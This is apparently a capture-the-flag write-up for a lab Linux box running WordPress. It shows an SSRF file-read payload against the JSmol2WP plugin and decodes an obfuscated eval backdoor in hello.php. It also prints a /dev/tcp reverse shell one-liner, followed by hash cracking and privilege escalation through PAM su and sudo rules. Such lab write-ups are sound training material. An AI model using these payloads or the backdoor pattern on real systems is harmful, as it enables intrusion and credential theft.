This is a Linux machine with web service provided by WordPress which has a SSRF vulnerability to leak the credentials for web user.

After login into the system as web user, we obtains the hash of the password of another normal user. Subsequently, we utilized forensic techniques to move laterally across users on the system. Ultimately, we discovered that user xavi had configured a sudo rule allowing passwordless execution of arbitrary programs, effectively granting root privileges.

Summary

Scope

  • Name: Smol
  • Difficulty: Medium
  • OS: Linux
  • IP: 10.49.151.156

Learned

  • For WordPress system, wpscan can help us scan for common vulnerabilities. Additionally, we need to be familiar with the system's common paths, such as wp-admin backend.
  • During lateral movement, targeted searches for user credentials can be conducted in critical locations such as database and configuration files. Occasionally, system authentication module configurations may yield unexpected discoveries. For example, the PAM module configuration files /etc/pam.d/*.

Enumeration

Nmap

Overall

nmap -sT --min-rate 5000 -oN overall [IP]

Host is up (0.29s latency).
Not shown: 951 closed tcp ports (conn-refused), 47 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Detail

nmap -sC -sV -O -vv -p22,80 -oN detail [IP]

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:1a:b5:33:03:30:66:94:77:26:41:12:2b:45:b8:d7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDE96Xbpm6AdnkB+gOMRfUNFVtOLzQcQ5GuijutN+ZMAdjjXQUTa+46xgfzs73jDQ5gBSIjzp/ShkfOuArGhcHgD2ZjusBVXjsKyDzXcI/E97E1CIP4Z2B28I+Y0aaEv9kmsOfqmB/3m1zB2nVFe8IWqIp9qo3qHKammV+qXfhIVQkBD+kU9psrH3ZFnkO4oDhm7EWhk3o/p8wX7ApY1BTnc1L5PPNNVjEgSwEjasLVcU1DHbdV9x4EpCrs5bjYpvpKoHYDgY4Yu7R9efRRykkQiy3zME6cKxRTNnNKPh+2fMpflfCEwFN+o8cp7h9tT2tIoBbE37hvqEvYmp2ZoQExo6aeCRYQB8dopIETWjxr3H9MQ7KalJo5K9fJDcQoLfw1tAf/+4rZQIvmsPCxmLQkzs3TlBsZVYOgu2pD8JivblJ7HQu2YOPmpYaSWGAvRC9+DeGhlsuEFrBfy6mdbALVkzsRENZHre19ONquXpXNc20sPWw5b97r4BVVbAi3WGM=
|   256 70:30:99:e7:f7:28:0c:fd:1e:50:5a:9c:bc:bb:e5:fb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIR/LYlhEhqij/VU269UJ9gRBK6zfjKVL/bV3uhopn/y2bX0wfVrMnlYOSzsFuLAAgfypsAqQS6yGSGoq7tuMYM=
|   256 24:18:e6:6a:04:e0:0c:82:02:45:23:e1:8b:90:d1:3d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOI7rzhkMtk9qISzI4Po+eSRQoSasr8T2O34X1x8Z5+j
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://www.smol.thm
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.19 (96%), Linux 4.15 (96%), Linux 5.4 (96%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Android 9 - 10 (Linux 4.9 - 4.14) (92%), Android 12 (Linux 5.4) (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.7 - 4.19 (92%)
No exact OS matches for host (test conditions non-ideal).

Uptime guess: 37.406 days (since Tue Dec 16 06:05:11 2025)
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDPScan

nmap -sU --top-ports 20 -oN udpscan [IP]

Host is up (0.30s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   open|filtered ntp
135/udp   closed        msrpc
137/udp   open|filtered netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   closed        isakmp
514/udp   closed        syslog
520/udp   closed        route
631/udp   closed        ipp
1434/udp  closed        ms-sql-m
1900/udp  open|filtered upnp
4500/udp  closed        nat-t-ike
49152/udp closed        unknown

WPScan

We can easily discover this web service supported by WordPress when we access its front page via domain or IP.

Or the common directory fuzzing will also indicate that.

$ ffuf -w /usr/share/wordlists/dirb/common.txt -u 'http://www.smol.thm/FUZZ'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://www.smol.thm/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 303ms]
                        [Status: 200, Size: 61505, Words: 2124, Lines: 402, Duration: 408ms]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 4094ms]
.hta                    [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 5104ms]
index.php               [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 434ms]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 291ms]
wp-admin                [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 299ms]
wp-content              [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 294ms]
wp-includes             [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 295ms]
xmlrpc.php              [Status: 405, Size: 42, Words: 6, Lines: 1, Duration: 373ms]
:: Progress: [4614/4614] :: Job [1/1] :: 134 req/sec :: Duration: [0:01:42] :: Errors: 0 ::

So the wpscan will help us to detect the common vulnerabilities.

$ wpscan --url http://www.smol.thm/
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28

       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://www.smol.thm/ [10.49.151.156]
Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://www.smol.thm/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://www.smol.thm/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://www.smol.thm/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://www.smol.thm/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.7.1 identified (Insecure, released on 2024-11-21).
 | Found By: Rss Generator (Passive Detection)
 |  - http://www.smol.thm/index.php/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>
 |  - http://www.smol.thm/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.7.1</generator>

[+] WordPress theme in use: twentytwentythree
 | Location: http://www.smol.thm/wp-content/themes/twentytwentythree/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://www.smol.thm/wp-content/themes/twentytwentythree/readme.txt
 | [!] The version is out of date, the latest version is 1.6
 | [!] Directory listing is enabled
 | Style URL: http://www.smol.thm/wp-content/themes/twentytwentythree/style.css
 | Style Name: Twenty Twenty-Three
 | Style URI: https://wordpress.org/themes/twentytwentythree
 | Description: Twenty Twenty-Three is designed to take advantage of the new design tools introduced in WordPress 6....
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://www.smol.thm/wp-content/themes/twentytwentythree/style.css, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] jsmol2wp
 | Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
 | Latest Version: 1.07 (up to date)
 | Last Updated: 2018-03-09T10:28:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)

 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: JSmol2WP <= 1.07 - Unauthenticated Cross-Site Scripting (XSS)
 |     References:
 |      - https://wpscan.com/vulnerability/0bbf1542-6e00-4a68-97f6-48a7790d1c3e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20462
 |      - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
 |
 | [!] Title: JSmol2WP <= 1.07 - Unauthenticated Server Side Request Forgery (SSRF)
 |     References:
 |      - https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20463
 |      - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
 |
 | Version: 1.07 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:13 <==============> (137 / 137) 100.00% Time: 00:00:13
[i] No Config Backups Found.
[+] Elapsed time: 00:00:26

Yeah, There's a SSRF vulnerability and the PoC is there within the link it provides.

wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

We will obtain credential for wpuser user with that PoC.

...
/** Database username */
define( 'DB_USER', 'wpuser' );
/** Database password */
define( 'DB_PASSWORD', 'kb********************%G' );
...

Foothold

dashboard.png

We login into the backend with that credential. And we will see there is a page (not posts) in the dashboard. When we click it, the following page we will be redirected to. page.png

The first line of that page will indicate there is a backdoor within the plugin [[https://github.com/WordPress/hello-dolly ][hello dolly]]. hello_rce.png

Additionally, we can obtain the specific file name from its github repository (hello.php). Now we can also obtain its content by the SSRF vulnerability.

// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
	eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
	
	$chosen = hello_dolly_get_lyric();
	$lang   = '';
	if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
		$lang = ' lang="en"';
	}

	printf(
		'<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
		__( 'Quote from Hello Dolly song, by Jerry Herman:' ),
		$lang,
		$chosen
	);
}

Coool! The backdoor is obvious there.

$ echo CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA= | base64 -d

 if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }                        

$ printf "\143\155\x64 \143\x6d\144"
cmd cmd

OK, The special parameter is cmd, let's start with a simple test. rce.png

Now, we have a backdoor for RCE! Just conduct a reverse shell for foothold.

$ echo -n 'sh -i >& /dev/tcp/192.168.145.249/4443 0>&1' | base64
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNDUuMjQ5LzQ0NDMgMD4mMQ==

$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [192.168.145.249] from (UNKNOWN) [10.49.151.156] 42652
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interactive Shell (optional)

There is a Python environment, the thing will be easy.

python3 -c 'import pty;pty.spawn("/bin/bash")'
^Z
stty raw -echo;fg

Privilege Escalation

www-data -> diego

As usual, we first check which users have a login shell in the system.

www-data@ip-10-49-151-156:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/usr/bin/bash
think:x:1000:1000:,,,:/home/think:/bin/bash
xavi:x:1001:1001::/home/xavi:/bin/bash
diego:x:1002:1002::/home/diego:/bin/bash
gege:x:1003:1003::/home/gege:/bin/bash
ssm-user:x:1004:1006::/home/ssm-user:/bin/sh
ubuntu:x:1005:1008:Ubuntu:/home/ubuntu:/bin/bash

And take a glance for home directories:

www-data@ip-10-49-151-156:/home$ ls -al
total 32
drwxr-xr-x  8 root     root     4096 Jan 22 07:45 .
drwxr-xr-x 18 root     root     4096 Jan 22 07:45 ..
drwxr-x---  2 diego    internal 4096 Aug 18  2023 diego
drwxr-x---  2 gege     internal 4096 Aug 18  2023 gege
drwxr-xr-x  2 ssm-user ssm-user 4096 Jul 20  2025 ssm-user
drwxr-x---  5 think    internal 4096 Jan 12  2024 think
drwxr-xr-x  3 ubuntu   ubuntu   4096 Jan 22 07:45 ubuntu
drwxr-x---  2 xavi     internal 4096 Aug 18  2023 xavi

We have read permission for the home directories of two user (ssm-user and ubuntu) .

Unfortunately, There nothing interesting for us within the home directories of that two user. And there are no exploitable sudo rules or SUID programs. Got stuck here for a momet, then I remembered this is a WordPress system with a database for data storage.

www-data@ip-10-49-151-156:/home$ ss -tuln
Netid State  Recv-Q Send-Q      Local Address:Port    Peer Address:Port Process
udp   UNCONN 0      0           127.0.0.53%lo:53           0.0.0.0:*
udp   UNCONN 0      0      10.49.151.156%ens5:68           0.0.0.0:*
tcp   LISTEN 0      151             127.0.0.1:3306         0.0.0.0:*
tcp   LISTEN 0      4096        127.0.0.53%lo:53           0.0.0.0:*
tcp   LISTEN 0      70              127.0.0.1:33060        0.0.0.0:*
tcp   LISTEN 0      128               0.0.0.0:22           0.0.0.0:*
tcp   LISTEN 0      128                  [::]:22              [::]:*
tcp   LISTEN 0      511                     *:80                 *:*

And we can use the credential of wpuser to login into the MySQL database.

www-data@ip-10-49-151-156:/home$ mysql -u wpuser -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 269
Server version: 8.0.42-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| wordpress          |
+--------------------+
5 rows in set (0.01 sec)

mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+---------------------------+
| Tables_in_wordpress       |
+---------------------------+
| wp_bp_activity            |
| wp_bp_activity_meta       |
| wp_bp_invitations         |
| wp_bp_messages_messages   |
| wp_bp_messages_meta       |
| wp_bp_messages_notices    |
| wp_bp_messages_recipients |
| wp_bp_notifications       |
| wp_bp_notifications_meta  |
| wp_bp_optouts             |
| wp_bp_xprofile_data       |
| wp_bp_xprofile_fields     |
| wp_bp_xprofile_groups     |
| wp_bp_xprofile_meta       |
| wp_commentmeta            |
| wp_comments               |
| wp_links                  |
| wp_options                |
| wp_postmeta               |
| wp_posts                  |
| wp_signups                |
| wp_term_relationships     |
| wp_term_taxonomy          |
| wp_termmeta               |
| wp_terms                  |
| wp_usermeta               |
| wp_users                  |
| wp_wysija_campaign        |
| wp_wysija_campaign_list   |
| wp_wysija_custom_field    |
| wp_wysija_email           |
| wp_wysija_email_user_stat |
| wp_wysija_email_user_url  |
| wp_wysija_form            |
| wp_wysija_list            |
| wp_wysija_queue           |
| wp_wysija_url             |
| wp_wysija_url_mail        |
| wp_wysija_user            |
| wp_wysija_user_field      |
| wp_wysija_user_history    |
| wp_wysija_user_list       |
+---------------------------+
42 rows in set (0.01 sec)

mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
| ID | user_login | user_pass                          | user_nicename | user_email         | user_url            | user_registered     | user_activation_key | user_status | display_name           |
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
|  1 | admin      | $P$BH.CF15fzRj4li7nR19CHzZhPmhKdX. | admin         | [email protected]     | http://www.smol.thm | 2023-08-16 06:58:30 |                     |           0 | admin                  |
|  2 | wpuser     | $P$BfZjtJpXL9gBwzNjLMTnTvBVh2Z1/E. | wp            | [email protected]        | http://smol.thm     | 2023-08-16 11:04:07 |                     |           0 | wordpress user         |
|  3 | think      | $P$BOb8/koi4nrmSPW85f5KzM5M/k2n0d/ | think         | [email protected] | http://smol.thm     | 2023-08-16 15:01:02 |                     |           0 | Jose Mario Llado Marti |
|  4 | gege       | $P$B1UHruCd/9bGD.TtVZULlxFrTsb3PX1 | gege          | [email protected]      | http://smol.thm     | 2023-08-17 20:18:50 |                     |           0 | gege                   |
|  5 | diego      | $P$BWFBcbXdzGrsjnbc54Dr3Erff4JPwv1 | diego         | diego@local        | http://smol.thm     | 2023-08-17 20:19:15 |                     |           0 | diego                  |
|  6 | xavi       | $P$BB4zz2JEnM2H3WE2RHs3q18.1pvcql1 | xavi          | [email protected]      | http://smol.thm     | 2023-08-17 20:20:01 |                     |           0 | xavi                   |
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
6 rows in set (0.00 sec)

Woo! There are hashes of user password! We can crack it with john.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (phpass [phpass ($P$ or $H$) 128/128 ASIMD 4x2])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s****************a (diego)

diego -> think

We will discover the user flag within the home directory.

diego@ip-10-49-151-156:~$ ls -al
total 24
drwxr-x--- 2 diego internal 4096 Aug 18  2023 .
drwxr-xr-x 8 root  root     4096 Jan 22 07:45 ..
lrwxrwxrwx 1 root  root        9 Aug 18  2023 .bash_history -> /dev/null
-rw-r--r-- 1 diego diego     220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 diego diego    3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 diego diego     807 Feb 25  2020 .profile
-rw-r--r-- 1 root  root       33 Aug 16  2023 user.txt
lrwxrwxrwx 1 root  root        9 Aug 18  2023 .viminfo -> /dev/null
diego@ip-10-49-151-156:~$ cat user.txt
45edaec653ff9ee06236b7ce72b86963

And the current id information.

diego@ip-10-49-151-156:~$ id
uid=1002(diego) gid=1002(diego) groups=1002(diego),1005(internal)

Whe we previously checked the home directory, the other three users without access permission belonged to the internal group, and we are currently members of that group as well!

diego@ip-10-49-151-156:~$ ls -al /home/gege
total 31532
drwxr-x--- 2 gege internal     4096 Aug 18  2023 .
drwxr-xr-x 8 root root         4096 Jan 22 07:45 ..
lrwxrwxrwx 1 root root            9 Aug 18  2023 .bash_history -> /dev/null
-rw-r--r-- 1 gege gege          220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 gege gege         3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 gege gege          807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root            9 Aug 18  2023 .viminfo -> /dev/null
-rwxr-x--- 1 root gege     32266546 Aug 16  2023 wordpress.old.zip
diego@ip-10-49-151-156:~$ ls -al /home/think
total 32
drwxr-x--- 5 think internal 4096 Jan 12  2024 .
drwxr-xr-x 8 root  root     4096 Jan 22 07:45 ..
lrwxrwxrwx 1 root  root        9 Jun 21  2023 .bash_history -> /dev/null
-rw-r--r-- 1 think think     220 Jun  2  2023 .bash_logout
-rw-r--r-- 1 think think    3771 Jun  2  2023 .bashrc
drwx------ 2 think think    4096 Jan 12  2024 .cache
drwx------ 3 think think    4096 Aug 18  2023 .gnupg
-rw-r--r-- 1 think think     807 Jun  2  2023 .profile
drwxr-xr-x 2 think think    4096 Jun 21  2023 .ssh
lrwxrwxrwx 1 root  root        9 Aug 18  2023 .viminfo -> /dev/null

The user gege has nothing we can access. But we can access the .ssh directory of the user think instead.

diego@ip-10-49-151-156:~$ ls -al /home/think/.ssh/
total 20
drwxr-xr-x 2 think think    4096 Jun 21  2023 .
drwxr-x--- 5 think internal 4096 Jan 12  2024 ..
-rwxr-xr-x 1 think think     572 Jun 21  2023 authorized_keys
-rwxr-xr-x 1 think think    2602 Jun 21  2023 id_rsa
-rwxr-xr-x 1 think think     572 Jun 21  2023 id_rsa.pub

Nice! We can login into the system with user think's ssh key!

think -> gege

$ ssh -i id_rsa_think [email protected]
The authenticity of host 'www.smol.thm (10.49.151.156)' can't be established.
ED25519 key fingerprint is: SHA256:FKJJ+YuIh4SKmaSpqslP4HPyrwW4gLzWaNBUHrhR18M
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)

think@ip-10-49-151-156:~$

su rules

After getting stuck here for a while(I have tryied common issue like sudo rules and SUID), I remember that there's a wordpress.old.zip file in user gege's home directory which we can not access. So I was wondering if we could figure out a way to elevate this to the user's level and see if there's anything in this file that might interest us - something that could help us take the next step.

Search Google with "su to other user without password" I find that post: https://unix.stackexchange.com/questions/113754/allow-user1-to-su-user2-without-password

Luckily, this machine happens to be configured with this.

think@ip-10-49-151-156:~$ cat /etc/pam.d/su
...
auth       sufficient pam_rootok.so
auth  [success=ignore default=1] pam_succeed_if.so user = gege
auth  sufficient                 pam_succeed_if.so use_uid user = think
...

gege -> xavi

After download file wordpress.old.zip we will discover that need a password to unzip.

$ unzip wordpress.old.zip
Archive:  wordpress.old.zip
[wordpress.old.zip] wordpress.old/wp-config.php password:
password incorrect--reenter:
password incorrect--reenter:
   skipping: wordpress.old/wp-config.php  incorrect password
[wordpress.old.zip] wordpress.old/index.php password:

For brute-force the password of zip file, the john is a good friend. zip2john wordpress.old.zip > wp-hash.txt

$ john --wordlist=/usr/share/wordlists/rockyou.txt wp-hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
h*******************m (wordpress.old.zip)
1g 0:00:00:00 DONE (2026-01-22 18:08) 1.923g/s 14682Kp/s 14682Kc/s 14682KC/s higurashi^..hellome2010
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Finally, we will obtain the credential for user xavi within the wp-config.php file.

$ ll
total 224
-rw-r--r-- 1 curtain curtain   405 Aug 17  2023 index.php
-rw-r--r-- 1 curtain curtain 19915 Aug 17  2023 license.txt
-rw-r--r-- 1 curtain curtain  7399 Aug 17  2023 readme.html
-rw-r--r-- 1 curtain curtain  7211 Aug 17  2023 wp-activate.php
drwxr-xr-x 1 curtain curtain  3264 Aug 17  2023 wp-admin
-rw-r--r-- 1 curtain curtain   351 Aug 17  2023 wp-blog-header.php
-rw-r--r-- 1 curtain curtain  2323 Aug 17  2023 wp-comments-post.php
-rw-r--r-- 1 curtain curtain  2994 Aug 17  2023 wp-config.php
drwxr-xr-x 1 curtain curtain   256 Aug 17  2023 wp-content
-rw-r--r-- 1 curtain curtain  5638 Aug 17  2023 wp-cron.php
drwxr-xr-x 1 curtain curtain  8192 Aug 17  2023 wp-includes
-rw-r--r-- 1 curtain curtain  2502 Aug 17  2023 wp-links-opml.php
-rw-r--r-- 1 curtain curtain  3927 Aug 17  2023 wp-load.php
-rw-r--r-- 1 curtain curtain 49441 Aug 17  2023 wp-login.php
-rw-r--r-- 1 curtain curtain  8537 Aug 17  2023 wp-mail.php
-rw-r--r-- 1 curtain curtain 25602 Aug 17  2023 wp-settings.php
-rw-r--r-- 1 curtain curtain 34385 Aug 17  2023 wp-signup.php
-rw-r--r-- 1 curtain curtain  4885 Aug 17  2023 wp-trackback.php
-rw-r--r-- 1 curtain curtain  3236 Aug 17  2023 xmlrpc.php

$ cat wp-config.php
...
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'xavi' );
/** Database password */
define( 'DB_PASSWORD', 'P***********@' );

xavi is root

We list the rules of sudo about the user xavi.

xavi@ip-10-49-151-156:~$ sudo -l
[sudo] password for xavi:
Matching Defaults entries for xavi on ip-10-49-151-156:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User xavi may run the following commands on ip-10-49-151-156:
    (ALL : ALL) ALL

That means user xavi have root privileges for everything.

xavi@ip-10-49-151-156:~$ sudo cat /root/root.txt
bf****************************e4

Misc

When we investigate the configuration of sudoers, we will discover following:

root@ip-10-49-151-156:/home/think$ cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
root	ALL=(ALL:ALL) ALL
xavi    ALL=(ALL:ALL) ALL
...

root@ip-10-49-151-156:/home/think$ cat /etc/sudoers.d/90-cloud-init-users
ubuntu ALL=(ALL) NOPASSWD:ALL

root@ip-10-49-151-156:/home/think$ cat /etc/sudoers.d/ssm-agent-users
ssm-user ALL=(ALL) NOPASSWD:ALL

This means that both these three users have root privileges within the system. But the /etc/shadow show that user ssm-user and ubuntu are disabled login with password by root.